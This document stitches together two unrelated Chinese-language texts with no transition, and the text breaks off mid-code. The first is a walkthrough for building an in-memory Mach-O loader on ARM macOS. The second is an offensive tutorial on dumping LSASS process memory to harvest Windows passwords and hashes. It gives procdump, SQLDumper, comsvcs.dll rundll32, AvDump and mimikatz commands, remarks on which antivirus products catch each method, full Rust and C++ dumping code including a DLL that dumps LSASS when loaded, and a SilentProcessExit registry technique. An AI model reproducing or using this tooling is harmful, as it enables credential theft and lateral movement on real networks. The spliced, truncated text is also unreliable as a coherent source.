為了配合蘋果向ARM架構的遷移,這篇文章將重點介紹MacOS Ventura的AARCH64版本和針對MacOS 12.0及更高版本的XCode。

什麼是Mach-O文件?首先介紹一下Mach-O文件的架構,建議先閱讀一下Aidan Steele的Mach-O文件格式參考。

當我們在處理ARM版本的MacOS時,會假設正在查看的Mach-O沒有被封裝在Universal 2格式中,因此在文件開頭我們首先會遇到的是Mach_header_64:

1.png

要構造加載器,我們需要檢查以下幾個字段:

magic-此字段應包含MH_magic_64的值;

Cputype-對於M1,應為CPU_TYPE_ARM64。

filetype -我們將檢查這篇文章的MH_BUNDLE類型,但加載不同類型也應該很容易。

如果Mach-O是正常的,我們可以立即處理mach_header_64結構體後面的load命令。

加載命令顧名思義,load命令是一種數據結構,用於指示dyld如何加載Mach-O區域。

每個load命令由load_command結構表示:

2.png

cmd字段最終決定load_command實際表示的內容,以LC_UUID的一個非常簡單的load_command為例,該命令用於將UUID與二進制數據關聯起來。其結構如下:

3.png

如上所述,這與load_command結構重疊,這就是為什麼我們有匹配字段的原因。以下就是我們將看到的各種負載命令所支持的情況。

Mach-O段加載Mach-O時,我們要處理的第一個load_command是LC_SEGMENT_64。

segment命令告訴dyld如何將Mach-O的一個區域映射到虛擬內存中,它應該有多大,應該有什麼樣的保護,以及文件的內容在哪裡。讓我們來看看它的結構:

4.png

出於本文的目的,我們將關注:

segname -段的名稱,例如__TEXT;

vmaddr -應該加載段的虛擬地址。例如,如果它被設置為0x4000,那麼我們將在分配的內存基數+0x4000處加載段;

vmsize -要分配的虛擬內存的大小;

fileoff -從文件開始到應複製到虛擬內存的Mach-O內容的偏移量;

filesize -要從文件中復制的字節數;

maxprot-應分配給虛擬內存區域的最大內存保護值;

initprot -應分配給虛擬內存區域的初始內存保護;

nsects -遵循此段結構的節數。

要注意,雖然dyld依賴mmap將Mach-O的片段拉入內存,但如果我們的初始進程是作為一個加固進程執行的(並且沒有com.apple.security.cs. c . data . data之類的文件)。使用mmap是不可能的,除非我們提供的bundle是使用與代理應用程序相同的開發人員證書進行簽名的。此外,我們正在嘗試構建一個內存加載器,因此在這種情況下從磁盤拉二進製文件沒有多大意義。

為了解決這個問題,在此POC中,我們將預先分配我們的blob內存並複制它,例如:

5.png

與之前的dyld文章一樣,我們需要在主機二進製文件中使用正確的授權來允許無符號可執行內存。

節從上面的字段中可以看到,段加載命令中存在另一個引用,這就是一個節(section)。

由於節位於段中,雖然它將繼承其內存保護,但它有自己的大小和要加載的文件內容。每個段的數據結構附加到segment命令中,其結構為:

6.png

同樣,我們將只關注其中幾個字段,這些字段對於我們構建加載器的直接目的很有幫助:

sectname -節的名稱,例如__text;

segname -與此節關聯的段的名稱;

addr -用於此節的虛擬地址偏移量;

size -文件中(以及虛擬內存中的)節的大小;

offset - Mach-O文件中部分內容的偏移量;

flags - flags可以分配給一個節,這個節幫助確定reserved1,reserved2和reserved3中的值。

由於我們已經分配了每個段,所以加載器將遍歷每個段描述符,確保將正確的文件內容複製到虛擬內存中。需要注意的是,在復制時可能需要更新內存保護。 MacOS for ARM不允許讀/寫/執行內存頁(除非com.apple.security.cs. c。allow-jit授權與MAP_JIT一起使用),因此我們需要在復制時適應這一點:

7.png

符號隨著我們的加載器開始成型,接下來需要看看如何處理符號(Symbol)。符號在Mach-O二進製文件的加載過程中扮演著重要的角色,它將名稱和序數關聯到內存區域,以供我們稍後參考。

符號是通過LC_SYMTAB的加載命令來處理的,如下所示:

8.png

同樣,我們將關注構建加載器所需的字段:

symoff -從文件開始到包含每個符號信息的nlist結構數組的偏移量;

nsyms -符號(或nlist結構)的數量;

stroff -符號查找所使用的字符串的文件偏移量。

顯然,接下來我們需要知道nlist是什麼:

9.png

此結構為我們提供了有關命名符號的信息:

n_strx -從符號字符串字段到該符號字符串的偏移量;

n_value -包含符號的值,例如地址。

因為我們稍後需要引用符號,所以我們的加載器需要存儲這些信息以備以後使用:

10.png

dylib’s接下來是LC_LOAD_DYLIB加載命令,該命令引用在運行時加載的額外dylib’s。

11.png

我們需要的項在dylib結構成員中找到,特別是dylib.name.offset,它是從這個加載命令的開頭到包含要加載的dylib的字符串的偏移量。

稍後,當涉及到重定位時,我們將需要這些信息,其中dylib’s的導入順序起著重要作用,因此我們將構建一個dylib’s數組,供以後使用:

12.png

遷移現在就要介紹Mach-O更複雜的部分——遷移。

Mach-O是用XCode構建的,目標是macOS 12.0和更高版本,使用LC_DYLD_CHAINED_FIXUPS的加載命令。關於這一切是如何工作的,沒有太多的文檔,但Noah Martin對iOS 15查找鏈的研究值得參考,我們還可以在這裡找到蘋果XNUrepo中使用的結構體的詳細信息。

Dyld’s的源代碼告訴我們,該加載命令以結構linkedit_data_command開始:

13.png

使用dataoff便能找到標頭:

14.png

我們需要做的第一件事是收集所有導入並構造一個稍後將引用的有序數組。為此,我們將使用以下字段:

symbols_offset -從該結構開始到導入所使用的符號字符串的偏移量;

imports_count -導入項的數量;

imports_format -任何導入符號的格式。

imports_offset -從該結構開始到導入表的偏移量。

每個導入項的數據結構都依賴於imports_format字段,但通常我看到的是DYLD_CHAINED_IMPORT格式:

15.png

可以看出這是一個32位數組項,有lib_ordinal字段,它是我們之前從LC_LOAD_DYLIB加載命令構建的有序dylib數組的索引。索引從1開始,而不是0,這意味著第一個索引是1,然後是2……

16.png

如果索引值為0或253,則該項引用this-image(當前正在執行的二進製文件)。這就是我們之前構造符號字典的原因,因為現在我們可以簡單地將自己二進製文件中引用的符號名稱解析為其地址:

17.png

name_offset是從dyld_chained_fixups_header收集的symbols_offset字符串的偏移量。

使用這些信息,我們需要構建一個有序的導入數組,因為我們需要馬上引用這個有序數組。

構建了一個導入列表後,將開始鍊式啟動,這可以從dyld_chained_fixups_header結構的starts_offset標頭字段中找到。

鍊式啟動的結構是:

18.png

為了導航,我們需要遍歷seg_info_offset中的每個項,這為我們提供了指向dyld_chained_starts_in_segment的指針列表:

19.png

首先要注意這個結構,有時segment_offset是0,但不知道為什麼,看起來dyld也識別了這個,只是忽略了它們。

20.png

我們需要找到每個reloc鏈的開始位置的字段如下:

pointer_format-鏈使用的DYLD_CHAINED_PTR_結構的類型;

segment_offset-段起始地址在內存中的絕對偏移量;

page_count-page_start成員數組中的頁數;

page_start-從頁面到鏈開始的偏移量。

當我們在一個段中有一個有效的偏移量時,我們可以開始遵循reloc鏈。遍歷每個項,我們需要檢查第一位,以確定該項是一個rebase(設置為0)還是一個bind(設置為1):

在rebase的情況下,將該項轉換為dyld_chained_ptr_64_rebase,並使用目標偏移量更新該項到已分配內存的基數。

21.png

在綁定的情況下,我們使用dyld_chained_ptr_64_bind,序數字段是我們前面構建的導入數組的偏移量。

22.png

然後,我們需要移動到下一個bind或rebase,這是通過執行next*4(4字節是步長)來完成的。我們重複此操作,直到下一個字段為0,表示鏈已結束。

構建加載器現在一切就緒,開始構建加載器。步驟如下:

1.分配內存區域;

2.根據LC_SEGMENT_64命令將每個段加載到虛擬內存中;

3.將每個節加載到每個段中;

4.從LC_LOAD_DYLIB命令構建dylib的有序集合;

5.從LC_SYMTAB命令構建一個符號集合。

6.遍歷LC_DYLD_CHAINED_FIXUPS鏈並對每個reloc進行bind或rebase。

一旦完成,我們就可以使用LC_SYMTAB中的數據來引用我們想要輸入的符號並傳遞執行。如果一切順利,我們將看到Mach-O被加載到內存中並開始執行:

23.png

這個POC的所有代碼都已添加到Dyld-DeNeuralyzer項目。

雖然你可以使用其中的代碼加載C/c++包,但如果你嘗試加載Objective-C包,你會看到如下的內容:

24.png

這是因為在加載Objective-C Mach-O時dyld中發生了一些事情,具體原因我們下一部分再講。


前言

lsass.exe(Local Security Authority Subsystem Service进程空间中,存有着机器的域、本地用户名和密码等重要信息。如果获取本地高权限,用户便可以访问LSASS进程内存,从而可以导出内部数据(password),用于横向移动和权限提升。通过lsass转储用户密码或者hash也算是渗透过程中必不可少的一步,这里学习一下原理以及记录下多种转储方法。

[toc]

常规方法

mimikatz::logonpasswords

我们通常将这些工具称为LOLBins,指攻击者可以使用这些二进制文件执行超出其原始目的的操作。 我们关注LOLBins中导出内存的程序。

白名单工具

三个微软签名的白名单程序

Procdump.exe
SQLDumper.exe
createdump.exe

Procdump转储Lsass.exe的内存

ProcDump是微软签名的合法二进制文件,被提供用于转储进程内存。可以在微软文档中下载官方给出的ProcDump文件

用Procdump 抓取lsass进程dmp文件,

procdump64.exe -accepteula -ma lsass.exe lsass_dump

然后可以配置mimikatz使用

sekurlsa::Minidump lsassdump.dmp
sekurlsa::logonPasswords

如果对lsass.exe敏感的话,那么还可以配合lsass.exe的pid来使用

procdump64.exe -accepteula -ma pid lsass_dum

这种原理是lsass.exe是Windows系统的安全机制,主要用于本地安全和登陆策略,通常在我们登陆系统时输入密码后,密码便会存贮在lsass.exe内存中,经过wdigest和tspkg两个模块调用后,对其使用可逆的算法进行加密并存储在内存中,而Mimikatz正是通过对lsass.exe逆算获取到明文密码。

关于查杀情况,火绒病毒查杀并没有扫描到,360在13版本下也没检测到在14版本被查杀了。

SQLDumper.exe

Sqldumper.exe实用工具包含在 Microsoft SQL Server 中。 它生成用于调试目的SQL Server和相关进程的内存转储。

sqldumper的常见路径如下

C:\Program Files\Microsoft SQL Server\100\Shared\SqlDumper.exe

C:\Program Files\Microsoft Analysis Services\AS OLEDB\10\SQLDumper.exe

C:\Program Files (x86)\Microsoft SQL Server\100\Shared\SqlDumper.exe

SQLDumper.exe包含在Microsoft SQL和Office中,可生成完整转储文件。

tasklist /svc | findstr lsass.exe  查看lsass.exe 的PID号
Sqldumper.exe ProcessID 0 0x01100  导出mdmp文件

再本地解密即可需要使用相同版本操作系统。

mimikatz.exe "sekurlsa::minidump SQLDmpr0001.mdmp" "sekurlsa::logonPasswords full" exit

被360查杀,火绒没有检测

createdump.exe

随着.NET5出现的,本身是个native binary.虽然有签名同样遭到AV查杀

createdump.exe -u -f lsass.dmp lsass[PID]

同样会被360查杀

comsvcs.dll

comsvcs.dll主要是提供COM+ Services服务。每个Windows系统中都可以找到该文件,可以使用Rundll32执行其导出函数MiniDump实现进程的完全转储。

该文件是一个白名单文件,我们主要是利用了Comsvsc.dll中的导出函数APIMiniDump来实现转储lsass.exe的目的,注意同样是需要管理员权限。因为需要开启SeDebugPrivilege权限。而在cmd中此权限是默认禁用的,powershell是默认启用的。
该文件位于C:\windows\system32\comsvcs.dll

可以这样使用如下方式来调用MiniDump实现转储lsass.exe进程:

powershell C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).id $env:TEMP\lsass-comsvcs.dmp full

360同样查杀,这种直接通过调用APIMiniDump来dump内存的行为还是太过敏感,不稍微修改很容易就被查杀。

其它工具

rdleakdiag.exe

默认存在的系统:

Windows 10 Windows 8.1 Windows 8 Windows7 windows Vista
软件版本 10.0.15063.0 6.3.9600.17415 6.2.9200.16384 6.1.7600.16385 6.0.6001.18000
没有的情况可以选择传一个上去。

生成dmp内存文件

rdrleakdiag.exe /p <pid> /o <outputdir> /fullmemdmp /wait 1 Rst

会产生两个文件,results*+进程pid+.hlk,minidump*+进程pid+.dmp。然后同样使用mimikatz进行破解。

AvDump.exe

AvDump.exe是Avast杀毒软件中自带的一个程序,可用于转储指定进程(lsass.exe)内存数据,它带有Avast杀软数字签名。所以一般不会被av查杀。
下载地址:https://www.pconlife.com/viewfileinfo/avdump64-exe/#fileinfoDownloadSaveInfodivGoto2
需要在ps中调用,否则cmd默认是不开启seDEBUGPrivilege权限的,但是现在360会检测到avdump.

.\AvDump.exe --pid <lsass pid> --exception_ptr 0 --thread_id 0 --dump_level 1 --dump_file C:\Users\admin\Desktop\lsass.dmp --min_interval 0

但也是会被360查杀。

自主编写dll

调用APIMiniDump的一个demo

这里涉及到windows进程编程,可以先看看如何遍历windows下的进程。遍历进程需要几个API和一个结构体。

 1.创建进程快照
 2.初始化第一个要遍历的进程
 3.继续下次遍历
 4.进程信息结构体

创建进程使用CreateToolhelp32Snapshot

HANDLE WINAPI CreateToolhelp32Snapshot(
DWORD dwFlags, //用来指定“快照”中需要返回的对象,可以是TH32CS_SNAPPROCESS等
DWORD th32ProcessID //一个进程ID号,用来指定要获取哪一个进程的快照,当获取系统进程列表或获取 当前进程快照时可以设为0
);

获取第一个进程句柄使用Process32First

BOOL WINAPI Process32First(
    HANDLE hSnapshot,//_in,进程快照句柄
    LPPROCESSENTRY32 lppe//_out,传入进程信息结构体,系统帮你填写.
);

获取下一个进程使用Process32Next

BOOL WINAPI Process32Next(
  HANDLE hSnapshot,        从CreateToolhelp32Snapshot 返回的句柄
  LPPROCESSENTRY32 lppe     指向PROCESSENTRY32结构的指针,进程信息结构体
);

其中还涉及到PROCESSENTRY32的结构体对我们有用的就是

  • dwSize 初始化结构体的大小
  • th32ProcessId 进程ID
  • szExeFile[MAX_PATH] 进程路径
    typedef struct tagPROCESSENTRY32 {
    DWORD dwSize; // 结构大小,首次调用之前必须初始化;
    DWORD cntUsage; // 此进程的引用计数,为0时则进程结束;
    DWORD th32ProcessID; // 进程ID;
    DWORD th32DefaultHeapID; // 进程默认堆ID;
    DWORD th32ModuleID; // 进程模块ID;
    DWORD cntThreads; // 此进程开启的线程计数;
    DWORD th32ParentProcessID;// 父进程ID;
    LONG pcPriClassBase; // 线程优先权;
    DWORD dwFlags; // 保留;
    char szExeFile[MAX_PATH]; // 进程全名;
    } PROCESSENTRY32;
    

    所以rust实现的代码如下

    fn getProcess(){
    unsafe{
        let mut handle =  CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS | TH32CS_SNAPTHREAD,0);
        let mut process_entry : PROCESSENTRY32 = zeroed();
        process_entry.dwSize = std::mem::size_of::<PROCESSENTRY32>() as u32;
        // let mut process_handle = null_mut();
    
        if !handle.is_null() {
            if Process32First(handle, &mut process_entry) == 1{
                loop {
                    let extFileName = OsString::from_wide(process_entry.szExeFile.iter().map(|&x| x as u16).take_while(|&x| x > 0).collect::<Vec<u16>>().as_slice());
                    println!("{:?}----------{:?}",extFileName,process_entry.th32ProcessID);
                    if Process32Next(handle, &mut process_entry) == 0{
                        break;
                    }
                }
            }
        }
    }
    }
    

完整dump lsass进程内存的代码

use std::{mem::{ size_of}, ffi::{CStr, OsString, c_void, OsStr}, os::windows::prelude::{OsStringExt, AsRawHandle, RawHandle, OsStrExt}, fs::File, path::{Path, self}};
use std::ptr;
use clap::{App,Arg};
use log::{error};
use windows_sys::{Win32::{Foundation::{
    CloseHandle, GetLastError, INVALID_HANDLE_VALUE, HANDLE, LUID,
}, Security::{TOKEN_PRIVILEGES, LUID_AND_ATTRIBUTES, SE_PRIVILEGE_ENABLED, TOKEN_ADJUST_PRIVILEGES, LookupPrivilegeValueA, AdjustTokenPrivileges}, System::{Threading::OpenProcessToken, Diagnostics::ToolHelp::TH32CS_SNAPTHREAD}, Storage::FileSystem::CreateFileA}, core::PCSTR};
use windows_sys::Win32::Storage::FileSystem::{
    CreateFileW,CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL,
};
use windows_sys::Win32::System::Diagnostics::Debug::{
    MiniDumpWithFullMemory,MiniDumpWriteDump
};
use windows_sys::Win32::System::Diagnostics::ToolHelp::{
    CreateToolhelp32Snapshot, Process32First, Process32Next, PROCESSENTRY32, TH32CS_SNAPPROCESS,
};

use windows_sys::Win32::System::SystemServices::GENERIC_ALL;
use windows_sys::Win32::System::Threading::{OpenProcess, PROCESS_ALL_ACCESS};

fn getPrivilege(handle : HANDLE){
    unsafe{
        let mut h_token: HANDLE =  HANDLE::default();
        let mut h_token_ptr: *mut HANDLE = &mut h_token;
        let mut tkp: TOKEN_PRIVILEGES = TOKEN_PRIVILEGES {
            PrivilegeCount: 1,
            Privileges: [LUID_AND_ATTRIBUTES {
                Luid: LUID {
                    LowPart: 0,
                    HighPart: 0,
                },
                Attributes: SE_PRIVILEGE_ENABLED,
            }],
        };
        // 打开当前进程的访问令牌
        let token = OpenProcessToken(handle, TOKEN_ADJUST_PRIVILEGES, h_token_ptr);
        if   token != 0 {
            let systemname  = ptr::null_mut();
            if  LookupPrivilegeValueA(
                systemname,
                b"SeDebugPrivilege\0".as_ptr(),
                &mut tkp.Privileges[0].Luid) != 0 {
                tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
                // println!("{:?}",tkp.Privileges[0].Attributes);
                // 提升当前进程的 SeDebugPrivilege 权限
                if  AdjustTokenPrivileges(
                    h_token,
                    0, 
                    &tkp  as *const TOKEN_PRIVILEGES, 
                    0, 
                    ptr::null_mut(), 
                    ptr::null_mut()) != 0 {
                    println!("Token privileges adjusted successfully");
                } else {
                    let last_error = GetLastError() ;
                    println!("AdjustTokenPrivileges failed with error: STATUS({:?})", last_error);
                }
            } else {
                let last_error = GetLastError() ;
                println!("LookupPrivilegeValue failed with error: STATUS({:?})", last_error);
            }
            // 关闭访问令牌句柄
                CloseHandle(h_token);
        } else {
            let last_error = GetLastError() ;
            println!("OpenProcessToken failed with error: STATUS({:?})", last_error);
        }
    }
}

fn getProcess(LsassFile : &str) {

    unsafe{
        let mut h_snapshot =  CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
        if h_snapshot == INVALID_HANDLE_VALUE {
            println!("Failed to call CreateToolhelp32Snapshot");
        }
        let mut process_entry: PROCESSENTRY32 = std::mem::zeroed::<PROCESSENTRY32>()   ;
        process_entry.dwSize = size_of::<PROCESSENTRY32>() as u32;

        if Process32First(h_snapshot, &mut process_entry) == 0 {
            println!("Process32First error");
        }

        loop {
            let extFileName = CStr::from_ptr(process_entry.szExeFile.as_ptr() as *const i8).to_bytes();
            let extfile = OsString::from_wide(extFileName.iter().map(|&x| x as u16).collect::<Vec<u16>>().as_slice()).to_string_lossy().into_owned();
            if extfile.starts_with("lsass.exe"){
                println!("[+] Got {:?} PID: {:?}",extfile,process_entry.th32ProcessID);
                break;
            }
            if Process32Next(h_snapshot, &mut process_entry) == 0 {
                println!("Failed to call Process32Next");
                break;
            }
        }
        let lsass_pid = process_entry.th32ProcessID;
        let process_handle = OpenProcess(PROCESS_ALL_ACCESS, 0, lsass_pid);
        if process_handle == 0 {
            println!("Fail to open the process ");
        }
        let lsassFile = LsassFile;
        let lsassFile: Vec<u16> = OsStr::new(lsassFile).encode_wide().chain(Some(0).into_iter()).collect();
        let lsasshandle = CreateFileW(
            lsassFile.as_ptr() as *const u16,
            GENERIC_ALL,
            0,
            ptr::null_mut(),
            CREATE_ALWAYS,
            FILE_ATTRIBUTE_NORMAL,
            0,
        );
        if lsasshandle == INVALID_HANDLE_VALUE {
            println!("Fail to open/create file {:?}",LsassFile.to_string());
        }
        let result = MiniDumpWriteDump(
            process_handle,
            lsass_pid,
            lsasshandle,
            MiniDumpWithFullMemory,
            ptr::null_mut(),
            ptr::null_mut(),
            ptr::null_mut(),
        );
        println!("{:?}",result);
        if result == 1
        {
            println!("Dump successful with file  {:?}",LsassFile.to_string());
        } else {
            println!("Dump error {:?}", GetLastError());
        }
        let status = CloseHandle(lsasshandle);
        if status != 1 {
            error!("Fail to Close file handle");
        }
    }
}

fn main() {
    let matches = App::new("SysWhispers3 - SysWhispers on steroids")
    .arg(Arg::with_name("DumpFileName")
        .short("f")
        .long("DumpFileName")
        .takes_value(true)
        .help("DumpFileName Path like C:\\temp.dmp")).get_matches();
    let mut out_file = "";
    if   matches.is_present("DumpFileName") {
        out_file = matches.value_of("DumpFileName").expect("get DumpFileName args error");
    }else {
        out_file = "lsass.dmp";
    }
    getProcess(out_file);

}

当然我们直接这样写的代码肯定是会被无情的拦截的,这类API大家已经再熟悉不过了,肯定是被拦截的很严重的。

编写Dump Lsass的DLL(yes)

其实就是为了解决直接使用Comsvsc.dll中的APIMiniDump函数容易被用户模式下的API hook拦截的问题。dll编写的思路一般是

  • 获取Debug权限
  • 找到lsass的PID
  • 使用MiniDump或MiniDumpWriteDump进行内存dump

首先需要解决权限提升的问题,这里常用的是RtlAdjustPrivilege函数来进行权限提升,这个函数封装在NtDll.dll中。这个函数的定义和解释:

NTSTATUS RtlAdjustPrivilege(
  ULONG               Privilege,
  BOOLEAN             Enable,
  BOOLEAN             CurrentThread,
  PBOOLEAN            Enabled
);

函数说明:

RtlAdjustPrivilege 函数用于启用或禁用当前线程或进程的特权。调用此函数需要进程或线程具有 SE_TAKE_OWNERSHIP_NAME 特权或调用者已经启用了此特权。

参数说明:

  • Privilege:要调整的特权的标识符。可以是一个 SE_PRIVILEGE 枚举值或一个特权名称字符串。
  • Enable:指示是启用(TRUE)还是禁用(FALSE)特权。
  • CurrentThread:指示要调整特权的是当前线程(TRUE)还是当前进程(FALSE)。
  • Enabled:输出参数,返回调整特权操作的结果。如果特权成功启用或禁用,则返回 TRUE;否则返回 FALSE。

返回值:

  • 如果函数成功执行,则返回 STATUS_SUCCESS;否则返回错误代码。

需要注意的是,该函数并不是公开的 Win32 API 函数,而是 Windows 内核函数,只能从其他内核函数中调用。

我们首先调用 OpenProcessToken 函数打开当前进程的访问令牌。然后,使用 LookupPrivilegeValue 函数获取 SE_DEBUG_NAME 权限的本地权限 ID。接着,我们定义了一个 TOKEN_PRIVILEGES 结构体,将 SE_DEBUG_NAME 权限添加到该结构体中,并通过 AdjustTokenPrivileges 函数提升当前进程的权限。最后,我们关闭了访问令牌句柄并退出程序。
所以提升权限可以这样写

void getPrivilege()
{
    HANDLE hToken;
    TOKEN_PRIVILEGES tkp;

    // 打开当前进程的访问令牌
    if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
    {
        // 获取 SeDebugPrivilege 权限的本地权限 ID
        if (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tkp.Privileges[0].Luid))
        {
            tkp.PrivilegeCount = 1;
            tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
            // 提升当前进程的 SeDebugPrivilege 权限
            if (AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, NULL, NULL))
            {
                std::cout << "Token privileges adjusted successfully" << std::endl;

                // 关闭访问令牌句柄
                CloseHandle(hToken);
            }
            else {
                std::cout << "AdjustTokenPrivileges faile" << std:endl;
            }
        }
        else {
            std::cout << "LookupPrivilegeValue faile" << std::endl;
        }
    }
    else {
        std::cout << "OpenProcessToken faile" << std::endl;
    }

}

再配合上获取lsass进程pid和dump 进程后完整代码就是

#include <stdio.h>
#include <Windows.h>
#include <tlhelp32.h>
#include <iostream>
using namespace std;
typedef HRESULT(WINAPI* _MiniDumpW)(DWORD arg1, DWORD arg2, PWCHAR cmdline);

int GetLsassPid() {

    PROCESSENTRY32 entry;
    entry.dwSize = sizeof(PROCESSENTRY32);

    HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, NULL);

    if (Process32First(hSnapshot, &entry)) {
        while (Process32Next(hSnapshot, &entry)) {
            if (wcscmp(entry.szExeFile, L"lsass.exe") == 0) {
                return entry.th32ProcessID;
            }
        }
    }

    CloseHandle(hSnapshot);
    return 0;
}
void getPrivilege()
{
    HANDLE hToken;
    TOKEN_PRIVILEGES tkp;

    // 打开当前进程的访问令牌
    if (OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken))
    {
        // 获取 SeDebugPrivilege 权限的本地权限 ID
        if (LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &tkp.Privileges[0].Luid))
        {
            tkp.PrivilegeCount = 1;
            tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
            // 提升当前进程的 SeDebugPrivilege 权限
            if (AdjustTokenPrivileges(hToken, FALSE, &tkp, 0, NULL, NULL))
            {
                cout << "Token privileges adjusted successfully" << endl;

                // 关闭访问令牌句柄
                CloseHandle(hToken);
            }
            else {
                cout << "AdjustTokenPrivileges faile" << endl;
            }
        }
        else {
            cout << "LookupPrivilegeValue faile" << endl;
        }
    }
    else {
        cout << "OpenProcessToken faile" << endl;
    }

}
void DumpLsass()
{
    wchar_t  ws[100];
    _MiniDumpW MiniDumpW;

    MiniDumpW = (_MiniDumpW)GetProcAddress(LoadLibrary(L"comsvcs.dll"), "MiniDumpW");
    cout << "GetProcAddress MiniDumpW success" << endl;
    swprintf(ws, 100, L"%u %hs", GetLsassPid(), "C:\\temp.bin full");   

    getPrivilege();

    MiniDumpW(0, 0, ws);
}

BOOL APIENTRY DllMain(HMODULE hModule,
    DWORD  ul_reason_for_call,
    LPVOID lpReserved
)
{
    switch (ul_reason_for_call)
    {
    case DLL_PROCESS_ATTACH:
        DumpLsass();
        break;
    case DLL_THREAD_ATTACH:
    case DLL_THREAD_DETACH:
    case DLL_PROCESS_DETACH:
        break;
    }
    return TRUE;
}
int main() {
    DumpLsass();
}

SilentProcessExit进行Dump

具体原理参考文章:利用SilentProcessExit机制dump内存

Silent Process Exit,即静默退出。而这种调试技术,可以派生 werfault.exe进程,可以用来运行任意程序或者也可以用来转存任意进程的内存文件或弹出窗口。在某个运行中的进程崩溃时,werfault.exe将会Dump崩溃进程的内存,从这一点上看,我们是有可能可以利用该行为进行目标进程内存的Dump。

优点:系统正常行为
缺点:需要写注册表

该机制提供了在两种情况下可以触发对被监控进行进行特殊动作的能力:

  • (1)被监控进程调用 ExitProcess() 终止自身;
  • (2)其他进程调用 TerminateProcess() 结束被监控进程。

也就意味着当进程调用ExitProcess() 或 TerminateProcess()的时候,可以触发对该进程的如下几个特殊的动作:

- 启动一个监控进程
- 显示一个弹窗
- 创建一个Dump文件

但由于该功能默认不开启,我们需要对注册表进行操作,来开启该功能,主要的注册表项为:

添加此子键
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\lsass.exe
名称               类型               数据
DumpType            REG_DWORD     完全转储目标进程内存的值为MiniDumpWithFullMemory (0x2)
LocalDumpFolder     REG_SZ        (DUMP文件被存放的目录,默认为%TEMP%\\Silent Process Exit)c:\temp
ReportingMode(REG_DWORD)    REG_DWORD   a)LAUNCH_MONITORPROCESS (0x1) – 启动监控进程;
                                              b)LOCAL_DUMP (0x2) – 为导致被监控进程终止的进程和被监控进程本身 二者 创建DUMP文件;
                                              c)NOTIFICATION (0x4) – 显示弹窗。

添加此子键
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\lsass.exe
名称              类型          数据
GlobalFlag      REG_DWORD     0x200

另外就是第二个注册表,这个主要是设置dump内存的一些细节问题,比如dump的位置、崩溃后操作的类型,这类选择的是LOCAL_DUMP,即0x2也就是为导致终止的进程和终止的进程创建一个转储文件。

这里我们需要使用的是MiniDumpWithFullMemory对应的值是0x2。
kgmsmtjnu1v13127.png

关于MiniDumpWithFullMemory,其都定义在MINIDUMP_TYPE之中,其结构体如下:

typedef enum _MINIDUMP_TYPE {
  MiniDumpNormal,
  MiniDumpWithDataSegs,
  MiniDumpWithFullMemory,
  MiniDumpWithHandleData,
  MiniDumpFilterMemory,
  MiniDumpScanMemory,
  MiniDumpWithUnloadedModules,
  MiniDumpWithIndirectlyReferencedMemory,
  MiniDumpFilterModulePaths,
  MiniDumpWithProcessThreadData,
  MiniDumpWithPrivateReadWriteMemory,
  MiniDumpWithoutOptionalData,
  MiniDumpWithFullMemoryInfo,
  MiniDumpWithThreadInfo,
  MiniDumpWithCodeSegs,
  MiniDumpWithoutAuxiliaryState,
  MiniDumpWithFullAuxiliaryState,
  MiniDumpWithPrivateWriteCopyMemory,
  MiniDumpIgnoreInaccessibleMemory,
  MiniDumpWithTokenInformation,
  MiniDumpWithModuleHeaders,
  MiniDumpFilterTriage,
  MiniDumpWithAvxXStateContext,
  MiniDumpWithIptTrace,
  MiniDumpScanInaccessiblePartialPages,
  MiniDumpValidTypeFlags
} MINIDUMP_TYPE;

下面就是让lsass进程终止了,但是lsass.exe是系统进程,如果彻底终止就会导致系统蓝屏从而重启电脑,但是我们的目的只是为了转储lsass进程而不让电脑重启,这个时候我们就用到了RtlReportSilentProcessExit这个api,该API将与Windows错误报告服务(WerSvcGroup下的WerSvc)通信,告诉服务该进程正在执行静默退出。然后,WER服务将启动WerFault.exe,该文件将转储现有进程。值得注意的是,调用此API不会导致进程退出。其定义如下:


NTSTATUS (NTAPI * RtlReportSilentProcessExit )(
        _In_      HANDLE      ProcessHandle,
        _In_      NTSTATUS    ExitStatus 
       );

所以最终的流程就是类似如图
hebghaq1y3013128.png

作者的代码中,提供了两种方法来实现崩溃,一种是直接调用RtlReportSilentProcessExit,而另一种则是使用CreateRemoteThread()来实现,实际上就是远程在LSASS中创建线程执行RtlReportSilentProcessExit

这里使用的是第一种方式来实现的。
代码 https://github.com/haoami/RustHashDump

use std::{mem::{ size_of, transmute}, ffi::{CStr, OsString, c_void, OsStr, CString}, os::windows::prelude::{OsStringExt, AsRawHandle, RawHandle, OsStrExt}, fs::File, path::{Path, self}, ptr::null_mut, process::ExitStatus};
use std::ptr;
use clap::{App,Arg};
use log::{error};
use windows_sys::{Win32::{Foundation::{
    CloseHandle, GetLastError, INVALID_HANDLE_VALUE, HANDLE, LUID, NTSTATUS,
